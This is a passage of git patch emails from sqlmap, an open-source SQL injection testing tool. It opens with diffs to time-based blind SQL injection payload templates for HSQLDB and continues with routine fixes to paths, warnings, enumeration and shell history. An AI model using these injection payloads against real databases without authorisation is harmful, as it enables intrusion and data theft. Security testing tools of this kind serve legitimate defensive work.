REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]000000000),NULL) ELSE '[RANDSTR]' END - AND '[RANDSTR]'=REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]000000000) + AND '[RANDSTR]'=REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]000000000),NULL) -- @@ -2864,9 +2864,9 @@ Formats: 2 1,2,3 1 - AND '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000) ELSE '[RANDSTR]' END + AND '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) ELSE '[RANDSTR]' END - AND '[RANDSTR]'=REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000) + AND '[RANDSTR]'=REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) @@ -2884,9 +2884,9 @@ Formats: 2 1,2,3 1 - AND '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000) ELSE '[RANDSTR]' END + AND '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) ELSE '[RANDSTR]' END - AND '[RANDSTR]'=REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000) + AND '[RANDSTR]'=REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) -- @@ -3124,9 +3124,9 @@ Formats: 2 1,2,3 1 - OR '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]000000000) ELSE '[RANDSTR]' END + OR '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]000000000),NULL) ELSE '[RANDSTR]' END - OR '[RANDSTR]'=REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]000000000) + OR '[RANDSTR]'=REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]000000000),NULL) @@ -3144,9 +3144,9 @@ Formats: 2 1,2,3 1 - OR '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]000000000) ELSE '[RANDSTR]' END + OR '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]000000000),NULL) ELSE '[RANDSTR]' END - OR '[RANDSTR]'=REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]000000000) + OR '[RANDSTR]'=REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]000000000),NULL) -- @@ -3165,9 +3165,9 @@ Formats: 2 1,2,3 1 - OR '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000) ELSE '[RANDSTR]' END + OR '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) ELSE '[RANDSTR]' END - OR '[RANDSTR]'=REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000) + OR '[RANDSTR]'=REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) @@ -3185,9 +3185,9 @@ Formats: 2 1,2,3 1 - OR '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000) ELSE '[RANDSTR]' END + OR '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) ELSE '[RANDSTR]' END - OR '[RANDSTR]'=REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000) + OR '[RANDSTR]'=REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) -- @@ -3524,9 +3524,9 @@ Formats: 2 1,2,3 1 - (SELECT (CASE WHEN ([INFERENCE]) THEN REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000) ELSE '[RANDSTR]' END) FROM INFORMATION_SCHEMA.SYSTEM_USERS) + (SELECT (CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL) ELSE '[RANDSTR]' END) FROM INFORMATION_SCHEMA.SYSTEM_USERS) - (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000) ELSE '[RANDSTR]' END) FROM INFORMATION_SCHEMA.SYSTEM_USERS) + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL) ELSE '[RANDSTR]' END) FROM INFORMATION_SCHEMA.SYSTEM_USERS) @@ -3544,9 +3544,9 @@ Formats: 2 1,2,3 1 - (SELECT (CASE WHEN ([INFERENCE]) THEN REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000) ELSE '[RANDSTR]' END) FROM (VALUES(0))) + (SELECT (CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) ELSE '[RANDSTR]' END) FROM (VALUES(0))) - (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000) ELSE '[RANDSTR]' END) FROM (VALUES(0))) + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) ELSE '[RANDSTR]' END) FROM (VALUES(0))) @@ -3744,9 +3744,9 @@ Formats: 2 2,3 1 - ,(SELECT (CASE WHEN ([INFERENCE]) THEN (ASCII(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000))) ELSE [RANDNUM]/(SELECT 0 FROM INFORMATION_SCHEMA.SYSTEM_USERS) END) FROM INFORMATION_SCHEMA.SYSTEM_USERS) + ,(SELECT (CASE WHEN ([INFERENCE]) THEN (ASCII(REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL))) ELSE [RANDNUM]/(SELECT 0 FROM INFORMATION_SCHEMA.SYSTEM_USERS) END) FROM INFORMATION_SCHEMA.SYSTEM_USERS) - ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (ASCII(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000))) ELSE [RANDNUM]/(SELECT 0 FROM INFORMATION_SCHEMA.SYSTEM_USERS) END) FROM INFORMATION_SCHEMA.SYSTEM_USERS) + ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (ASCII(REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL))) ELSE [RANDNUM]/(SELECT 0 FROM INFORMATION_SCHEMA.SYSTEM_USERS) END) FROM INFORMATION_SCHEMA.SYSTEM_USERS) -- @@ -3765,9 +3765,9 @@ Formats: 2 2,3 1 - ,(SELECT (CASE WHEN ([INFERENCE]) THEN (ASCII(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000))) ELSE [RANDNUM]/(SELECT 0 FROM (VALUES(0))) END) FROM (VALUES(0))) + ,(SELECT (CASE WHEN ([INFERENCE]) THEN (ASCII(REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL))) ELSE [RANDNUM]/(SELECT 0 FROM (VALUES(0))) END) FROM (VALUES(0))) - ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (ASCII(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000))) ELSE [RANDNUM]/(SELECT 0 FROM (VALUES(0))) END) FROM (VALUES(0))) + ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (ASCII(REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL))) ELSE [RANDNUM]/(SELECT 0 FROM (VALUES(0))) END) FROM (VALUES(0))) From 112a0cb1ae19146bb83f23588ea8529be9037eed Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 3 Sep 2014 21:49:30 +0200 Subject: [PATCH 012/492] Patch for output directory (using unicode for international support) --- lib/core/common.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/core/common.py b/lib/core/common.py index 573d28bac..0ac8eee6b 100755 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -1051,8 +1051,8 @@ def setPaths(): paths.SQLMAP_UDF_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "udf") paths.SQLMAP_XML_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "xml") paths.SQLMAP_XML_BANNER_PATH = os.path.join(paths.SQLMAP_XML_PATH, "banner") - paths.SQLMAP_OUTPUT_PATH = paths.get("SQLMAP_OUTPUT_PATH", os.path.join(os.path.expanduser("~"), ".sqlmap", "output")) + paths.SQLMAP_OUTPUT_PATH = getUnicode(paths.get("SQLMAP_OUTPUT_PATH", os.path.join(os.path.expanduser("~"), ".sqlmap", "output")), system=True) paths.SQLMAP_DUMP_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "dump") paths.SQLMAP_FILES_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "files") From bbf0be1f8d46d799eab24271925ec0946ac6aaef Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 3 Sep 2014 22:09:12 +0200 Subject: [PATCH 013/492] Bug fix (Issue #813) --- lib/request/connect.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/request/connect.py b/lib/request/connect.py index 2bc90c777..021cdb196 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -385,7 +385,7 @@ class Connect(object): conn = urllib2.urlopen(req) - if not kb.authHeader and getRequestHeader(req, HTTP_HEADER.AUTHORIZATION) and conf.authType == AUTH_TYPE.BASIC: + if not kb.authHeader and getRequestHeader(req, HTTP_HEADER.AUTHORIZATION) and conf.authType.lower() == AUTH_TYPE.BASIC.lower(): kb.authHeader = getRequestHeader(req, HTTP_HEADER.AUTHORIZATION) if not kb.proxyAuthHeader and getRequestHeader(req, HTTP_HEADER.PROXY_AUTHORIZATION): From b1467f4c1fb66cc8f14110c59cc75f823e1eff1d Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 3 Sep 2014 23:09:10 +0200 Subject: [PATCH 014/492] Minor update --- plugins/dbms/hsqldb/fingerprint.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/plugins/dbms/hsqldb/fingerprint.py b/plugins/dbms/hsqldb/fingerprint.py index 3d082c52a..bd3e0f6f7 100644 --- a/plugins/dbms/hsqldb/fingerprint.py +++ b/plugins/dbms/hsqldb/fingerprint.py @@ -134,7 +134,7 @@ class Fingerprint(GenericFingerprint): return True else: - warnMsg = "the back-end DBMS is not %s or is < 1.7.2" % DBMS.HSQLDB + warnMsg = "the back-end DBMS is not %s or version is < 1.7.2" % DBMS.HSQLDB logger.warn(warnMsg) return False From 055b759145727ab13496d485ed250401b8ac722e Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 3 Sep 2014 23:13:57 +0200 Subject: [PATCH 015/492] Minor update --- lib/core/option.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/core/option.py b/lib/core/option.py index 6c8c30675..5b5fec0cf 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -876,7 +876,7 @@ def _setDBMS(): if conf.dbms not in SUPPORTED_DBMS: errMsg = "you provided an unsupported back-end database management " - errMsg += "system. The supported DBMS are %s. " % ', '.join([_ for _ in DBMS_DICT]) + errMsg += "system. Supported DBMSes are as follows: %s. " % ', '.join(sorted(_ for _ in DBMS_DICT)) errMsg += "If you do not know the back-end DBMS, do not provide " errMsg += "it and sqlmap will fingerprint it for you." raise SqlmapUnsupportedDBMSException(errMsg) From 53d0d5bf8b42a519e97d9a38d9881fd94d0e35e1 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 8 Sep 2014 14:33:13 +0200 Subject: [PATCH 016/492] Minor update (adding a warning message about potential dropping of requests because of protection mechanisms involved) --- lib/controller/checks.py | 3 ++- lib/core/option.py | 1 + lib/request/connect.py | 2 ++ 3 files changed, 5 insertions(+), 1 deletion(-) diff --git a/lib/controller/checks.py b/lib/controller/checks.py index d6a403afc..c8af38cdf 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -112,7 +112,7 @@ def checkSqlInjection(place, parameter, value): kb.extendTests = [] if readInput(msg, default='Y').upper() != 'Y' else ([conf.dbms]) title = test.title - stype = test.stype + kb.testType = stype = test.stype clause = test.clause unionExtended = False @@ -1175,6 +1175,7 @@ def identifyWaf(): infoMsg = "no WAF/IDS/IPS product has been identified" logger.info(infoMsg) + kb.testType = None kb.testMode = False return retVal diff --git a/lib/core/option.py b/lib/core/option.py index 5b5fec0cf..fa1029a58 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -1741,6 +1741,7 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.technique = None kb.testMode = False kb.testQueryCount = 0 + kb.testType = None kb.threadContinue = True kb.threadException = False kb.tableExistsChoice = None diff --git a/lib/request/connect.py b/lib/request/connect.py index 021cdb196..99e6fa07b 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -533,6 +533,8 @@ class Connect(object): elif "forcibly closed" in tbMsg: warnMsg = "connection was forcibly closed by the target URL" elif "timed out" in tbMsg: + if kb.testMode and kb.testType not in (None, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED): + singleTimeWarnMessage("there is a possibility that the target (or WAF) is dropping 'suspicious' requests") warnMsg = "connection timed out to the target URL" elif "URLError" in tbMsg or "error" in tbMsg: warnMsg = "unable to connect to the target URL" From bfc8ab0e3513394f8b3a102e89fac47f8768ba90 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 8 Sep 2014 14:48:31 +0200 Subject: [PATCH 017/492] Language update --- lib/controller/checks.py | 2 +- lib/request/connect.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/controller/checks.py b/lib/controller/checks.py index c8af38cdf..d19a32d31 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -104,7 +104,7 @@ def checkSqlInjection(place, parameter, value): if kb.extendTests is None: _ = (Format.getErrorParsedDBMSes() if Backend.getErrorParsedDBMSes() else kb.heuristicDbms) msg = "do you want to include all tests for '%s' " % _ - msg += "extending provided level (%d) and risk (%s)? [Y/n]" % (conf.level, conf.risk) + msg += "extending provided level (%d) and risk (%s) values? [Y/n]" % (conf.level, conf.risk) kb.extendTests = [] if readInput(msg, default='Y').upper() != 'Y' else (Backend.getErrorParsedDBMSes() or [kb.heuristicDbms]) elif kb.extendTests is None and conf.level < 5 and conf.risk < 3: msg = "do you want to include all tests for '%s' " % conf.dbms diff --git a/lib/request/connect.py b/lib/request/connect.py index 99e6fa07b..2eab46815 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -858,7 +858,7 @@ class Connect(object): if deviation > WARN_TIME_STDEV: kb.adjustTimeDelay = ADJUST_TIME_DELAY.DISABLE - warnMsg = "there is considerable lagging " + warnMsg = "considerable lagging has been detected " warnMsg += "in connection response(s). Please use as high " warnMsg += "value for option '--time-sec' as possible (e.g. " warnMsg += "10 or more)" From 90869244fdd7e11e6d570377879caad8ca8d24b4 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 9 Sep 2014 16:19:38 +0200 Subject: [PATCH 018/492] Minor update --- xml/queries.xml | 18 +++++++++--------- 1 file changed, 9 insertions(+), 9 deletions(-) diff --git a/xml/queries.xml b/xml/queries.xml index 701b57d7e..521bef313 100644 --- a/xml/queries.xml +++ b/xml/queries.xml @@ -674,44 +674,44 @@ - + - + - + - + - + - + - + - + - + From ae8c12c9c3166fca325aac201c5778c42dd03c80 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 9 Sep 2014 16:22:13 +0200 Subject: [PATCH 019/492] Fix for an Issue #818 --- plugins/dbms/hsqldb/enumeration.py | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/plugins/dbms/hsqldb/enumeration.py b/plugins/dbms/hsqldb/enumeration.py index 43122d61f..c3b9f31e7 100644 --- a/plugins/dbms/hsqldb/enumeration.py +++ b/plugins/dbms/hsqldb/enumeration.py @@ -30,3 +30,13 @@ class Enumeration(GenericEnumeration): kb.data.banner = unArrayizeValue(inject.getValue(query, safeCharEncode=True)) return kb.data.banner + + def getPrivileges(self, *args): + warnMsg = "on HSQLDB it is not possible to enumerate the user privileges" + logger.warn(warnMsg) + + return {} + + def getHostname(self): + warnMsg = "on HSQLDB it is not possible to enumerate the hostname" + logger.warn(warnMsg) From 637d3cbaf72c55ff19fb00809fc55ea00fff4695 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 12 Sep 2014 13:29:30 +0200 Subject: [PATCH 020/492] Fix for cases when parameter name is urlencoded --- lib/core/agent.py | 3 +++ lib/core/common.py | 2 +- 2 files changed, 4 insertions(+), 1 deletion(-) diff --git a/lib/core/agent.py b/lib/core/agent.py index ce78736ee..923677b15 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -19,6 +19,7 @@ from lib.core.common import safeSQLIdentificatorNaming from lib.core.common import singleTimeWarnMessage from lib.core.common import splitFields from lib.core.common import unArrayizeValue +from lib.core.common import urlencode from lib.core.common import zeroDepthSearch from lib.core.data import conf from lib.core.data import kb @@ -153,6 +154,8 @@ class Agent(object): retVal = paramString.replace(origValue, self.addPayloadDelimiters(newValue)) else: retVal = re.sub(r"(\A|\b)%s=%s" % (re.escape(parameter), re.escape(origValue)), "%s=%s" % (parameter, self.addPayloadDelimiters(newValue.replace("\\", "\\\\"))), paramString) + if retVal == paramString and urlencode(parameter) != parameter: + retVal = re.sub(r"(\A|\b)%s=%s" % (re.escape(urlencode(parameter)), re.escape(origValue)), "%s=%s" % (urlencode(parameter), self.addPayloadDelimiters(newValue.replace("\\", "\\\\"))), paramString) return retVal diff --git a/lib/core/common.py b/lib/core/common.py index 0ac8eee6b..cbca1080d 100755 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -549,7 +549,7 @@ def paramToDict(place, parameters=None): parts = element.split("=") if len(parts) >= 2: - parameter = parts[0].replace(" ", "") + parameter = urldecode(parts[0].replace(" ", "")) if conf.paramDel and conf.paramDel == '\n': parts[-1] = parts[-1].rstrip() From ffa7e2f6e905a5bd0aeab98b51f512529e5024e0 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 14 Sep 2014 22:57:41 +0200 Subject: [PATCH 021/492] Minor fix --- thirdparty/pagerank/pagerank.py | 1 + 1 file changed, 1 insertion(+) diff --git a/thirdparty/pagerank/pagerank.py b/thirdparty/pagerank/pagerank.py index 60a654fd1..977a93744 100644 --- a/thirdparty/pagerank/pagerank.py +++ b/thirdparty/pagerank/pagerank.py @@ -15,6 +15,7 @@ import urllib def get_pagerank(url): + url = url.encode('utf8') if isinstance(url, unicode) else url _ = 'http://toolbarqueries.google.com/tbr?client=navclient-auto&features=Rank&ch=%s&q=info:%s' % (check_hash(hash_url(url)), urllib.quote(url)) try: f = urllib.urlopen(_) From 45f55481138344b7be0ea4b722a67c46f773b2e8 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 16 Sep 2014 08:58:25 +0200 Subject: [PATCH 022/492] Minor update regarding shell history file --- lib/core/common.py | 5 +++-- lib/core/shell.py | 4 ++-- 2 files changed, 5 insertions(+), 4 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index cbca1080d..d22217a17 100755 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -1052,12 +1052,13 @@ def setPaths(): paths.SQLMAP_XML_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "xml") paths.SQLMAP_XML_BANNER_PATH = os.path.join(paths.SQLMAP_XML_PATH, "banner") - paths.SQLMAP_OUTPUT_PATH = getUnicode(paths.get("SQLMAP_OUTPUT_PATH", os.path.join(os.path.expanduser("~"), ".sqlmap", "output")), system=True) + _ = os.path.join(os.path.expanduser("~"), ".sqlmap") + paths.SQLMAP_OUTPUT_PATH = getUnicode(paths.get("SQLMAP_OUTPUT_PATH", os.path.join(_, "output")), system=True) paths.SQLMAP_DUMP_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "dump") paths.SQLMAP_FILES_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "files") # sqlmap files - paths.SQLMAP_HISTORY = os.path.join(os.path.expanduser('~'), ".sqlmap_history") + paths.SQLMAP_SHELL_HISTORY = os.path.join(_, "shell.hst") paths.SQLMAP_CONFIG = os.path.join(paths.SQLMAP_ROOT_PATH, "sqlmap-%s.conf" % randomStr()) paths.COMMON_COLUMNS = os.path.join(paths.SQLMAP_TXT_PATH, "common-columns.txt") paths.COMMON_TABLES = os.path.join(paths.SQLMAP_TXT_PATH, "common-tables.txt") diff --git a/lib/core/shell.py b/lib/core/shell.py index fdf769989..07e3f9243 100644 --- a/lib/core/shell.py +++ b/lib/core/shell.py @@ -16,11 +16,11 @@ from lib.core.data import paths from lib.core.enums import OS def saveHistory(): - historyPath = os.path.expanduser(paths.SQLMAP_HISTORY) + historyPath = os.path.expanduser(paths.SQLMAP_SHELL_HISTORY) readline.write_history_file(historyPath) def loadHistory(): - historyPath = os.path.expanduser(paths.SQLMAP_HISTORY) + historyPath = os.path.expanduser(paths.SQLMAP_SHELL_HISTORY) if os.path.exists(historyPath): try: From 57eb19377edd3b858034ea8bf0b1e5969f77bf2c Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 16 Sep 2014 09:07:31 +0200 Subject: [PATCH 023/492] Minor code refactoring --- lib/core/enums.py | 4 ++++ lib/core/shell.py | 5 +++-- lib/takeover/abstraction.py | 3 ++- plugins/generic/custom.py | 3 ++- 4 files changed, 11 insertions(+), 4 deletions(-) diff --git a/lib/core/enums.py b/lib/core/enums.py index c7307c778..095c03b9d 100644 --- a/lib/core/enums.py +++ b/lib/core/enums.py @@ -338,3 +338,7 @@ class AUTH_TYPE: DIGEST = "digest" NTLM = "ntlm" PKI = "pki" + +class AUTOCOMPLETE_TYPE: + SQL = 0 + OS = 1 diff --git a/lib/core/shell.py b/lib/core/shell.py index 07e3f9243..2064ece46 100644 --- a/lib/core/shell.py +++ b/lib/core/shell.py @@ -13,6 +13,7 @@ from lib.core import readlineng as readline from lib.core.common import Backend from lib.core.data import logger from lib.core.data import paths +from lib.core.enums import AUTOCOMPLETE_TYPE from lib.core.enums import OS def saveHistory(): @@ -47,13 +48,13 @@ class CompleterNG(rlcompleter.Completer): return matches -def autoCompletion(sqlShell=False, osShell=False): +def autoCompletion(completion=None): # First of all we check if the readline is available, by default # it is not in Python default installation on Windows if not readline._readline: return - if osShell: + if completion == AUTOCOMPLETE_TYPE.OS: if Backend.isOs(OS.WINDOWS): # Reference: http://en.wikipedia.org/wiki/List_of_DOS_commands completer = CompleterNG({ diff --git a/lib/takeover/abstraction.py b/lib/takeover/abstraction.py index c4773dfd4..030697560 100644 --- a/lib/takeover/abstraction.py +++ b/lib/takeover/abstraction.py @@ -13,6 +13,7 @@ from lib.core.common import isStackingAvailable from lib.core.common import readInput from lib.core.data import conf from lib.core.data import logger +from lib.core.enums import AUTOCOMPLETE_TYPE from lib.core.enums import DBMS from lib.core.exception import SqlmapFilePathException from lib.core.exception import SqlmapUnsupportedFeatureException @@ -116,7 +117,7 @@ class Abstraction(Web, UDF, Xp_cmdshell): infoMsg += "'x' or 'q' and press ENTER" logger.info(infoMsg) - autoCompletion(osShell=True) + autoCompletion(AUTOCOMPLETE_TYPE.OS) while True: command = None diff --git a/plugins/generic/custom.py b/plugins/generic/custom.py index 1cb83560a..5a64f148f 100644 --- a/plugins/generic/custom.py +++ b/plugins/generic/custom.py @@ -15,6 +15,7 @@ from lib.core.convert import utf8decode from lib.core.data import conf from lib.core.data import logger from lib.core.dicts import SQL_STATEMENTS +from lib.core.enums import AUTOCOMPLETE_TYPE from lib.core.settings import NULL from lib.core.settings import PARAMETER_SPLITTING_REGEX from lib.core.shell import autoCompletion @@ -73,7 +74,7 @@ class Custom: infoMsg += "'x' or 'q' and press ENTER" logger.info(infoMsg) - autoCompletion(sqlShell=True) + autoCompletion(AUTOCOMPLETE_TYPE.SQL) while True: query = None From 7278af01ee18e962adafc43d3f1021bcaf7215a2 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 16 Sep 2014 14:12:43 +0200 Subject: [PATCH 024/492] Implementation for an Issue #832 --- lib/core/enums.py | 1 + lib/core/exception.py | 3 ++ lib/core/settings.py | 4 ++ lib/core/shell.py | 43 +++++++++++++++++--- lib/parse/cmdline.py | 78 +++++++++++++++++++++++++++++++------ lib/takeover/abstraction.py | 3 +- sqlmap.py | 12 +++++- 7 files changed, 124 insertions(+), 20 deletions(-) diff --git a/lib/core/enums.py b/lib/core/enums.py index 095c03b9d..b4f8b809f 100644 --- a/lib/core/enums.py +++ b/lib/core/enums.py @@ -342,3 +342,4 @@ class AUTH_TYPE: class AUTOCOMPLETE_TYPE: SQL = 0 OS = 1 + SQLMAP = 2 diff --git a/lib/core/exception.py b/lib/core/exception.py index eb2a6e297..8fe6a7756 100644 --- a/lib/core/exception.py +++ b/lib/core/exception.py @@ -44,6 +44,9 @@ class SqlmapSilentQuitException(SqlmapBaseException): class SqlmapUserQuitException(SqlmapBaseException): pass +class SqlmapShellQuitException(SqlmapBaseException): + pass + class SqlmapSyntaxException(SqlmapBaseException): pass diff --git a/lib/core/settings.py b/lib/core/settings.py index aaca12a20..4a93fdfa5 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -239,6 +239,7 @@ BASIC_HELP_ITEMS = ( "checkTor", "flushSession", "tor", + "sqlmapShell", "wizard", ) @@ -583,6 +584,9 @@ MIN_BINARY_DISK_DUMP_SIZE = 100 # Regular expression used for extracting form tags FORM_SEARCH_REGEX = r"(?si)" +# Maximum number of lines to save in history file +MAX_HISTORY_LENGTH = 1000 + # Minimum field entry length needed for encoded content (hex, base64,...) check MIN_ENCODED_LEN_CHECK = 5 diff --git a/lib/core/shell.py b/lib/core/shell.py index 2064ece46..17e340036 100644 --- a/lib/core/shell.py +++ b/lib/core/shell.py @@ -15,12 +15,39 @@ from lib.core.data import logger from lib.core.data import paths from lib.core.enums import AUTOCOMPLETE_TYPE from lib.core.enums import OS +from lib.core.settings import MAX_HISTORY_LENGTH + +def readlineAvailable(): + """ + Check if the readline is available. By default + it is not in Python default installation on Windows + """ + + return readline._readline is not None + +def clearHistory(): + if not readlineAvailable(): + return + + readline.clear_history() def saveHistory(): + if not readlineAvailable(): + return + historyPath = os.path.expanduser(paths.SQLMAP_SHELL_HISTORY) + try: + os.remove(historyPath) + except: + pass + + readline.set_history_length(MAX_HISTORY_LENGTH) readline.write_history_file(historyPath) def loadHistory(): + if not readlineAvailable(): + return + historyPath = os.path.expanduser(paths.SQLMAP_SHELL_HISTORY) if os.path.exists(historyPath): @@ -47,15 +74,13 @@ class CompleterNG(rlcompleter.Completer): matches.append(word) return matches - -def autoCompletion(completion=None): - # First of all we check if the readline is available, by default - # it is not in Python default installation on Windows - if not readline._readline: + +def autoCompletion(completion=None, os=None, commands=None): + if not readlineAvailable(): return if completion == AUTOCOMPLETE_TYPE.OS: - if Backend.isOs(OS.WINDOWS): + if os == OS.WINDOWS: # Reference: http://en.wikipedia.org/wiki/List_of_DOS_commands completer = CompleterNG({ "copy": None, "del": None, "dir": None, @@ -76,5 +101,11 @@ def autoCompletion(completion=None): readline.set_completer(completer.complete) readline.parse_and_bind("tab: complete") + elif commands: + completer = CompleterNG(dict(((_, None) for _ in commands))) + readline.set_completer_delims(' ') + readline.set_completer(completer.complete) + readline.parse_and_bind("tab: complete") + loadHistory() atexit.register(saveHistory) diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index ead78b126..6a7777023 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -6,6 +6,7 @@ See the file 'doc/COPYING' for copying permission """ import os +import shlex import sys from optparse import 